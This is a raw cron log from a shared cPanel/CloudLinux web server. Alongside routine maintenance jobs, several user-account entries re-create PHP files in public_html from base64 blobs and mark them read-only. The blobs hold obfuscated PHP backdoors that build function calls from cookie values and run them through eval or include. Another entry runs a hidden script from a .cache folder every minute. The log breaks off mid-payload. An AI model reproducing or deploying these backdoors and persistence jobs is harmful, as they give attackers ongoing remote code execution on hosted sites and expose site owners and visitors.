Jun  7 12:49:02 medusa CROND[30981]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:49:02 medusa CROND[30982]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:49:02 medusa CROND[30983]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:49:02 medusa CROND[30984]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32707]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:50:01 medusa CROND[32710]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:50:01 medusa CROND[32714]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32717]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32723]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32724]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:50:01 medusa CROND[32727]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 12:50:01 medusa CROND[32728]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:50:01 medusa CROND[32729]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:50:01 medusa CROND[32730]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:50:01 medusa CROND[32731]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:50:01 medusa CROND[32732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 12:50:01 medusa CROND[32733]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32734]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:50:01 medusa CROND[32735]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:50:01 medusa CROND[32740]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:50:01 medusa CROND[32737]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 12:50:01 medusa CROND[32743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:50:01 medusa CROND[32749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32751]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:50:01 medusa CROND[32756]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:50:01 medusa CROND[32761]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:50:01 medusa CROND[32748]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 12:50:01 medusa CROND[32753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:50:01 medusa CROND[32754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32755]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32766]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:50:01 medusa CROND[32752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 12:50:01 medusa CROND[32764]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:50:01 medusa CROND[32736]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:51:01 medusa CROND[2144]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:51:01 medusa CROND[2151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:51:01 medusa CROND[2153]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:51:01 medusa CROND[2211]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:51:01 medusa CROND[2213]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:51:01 medusa CROND[2212]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:51:01 medusa CROND[2214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93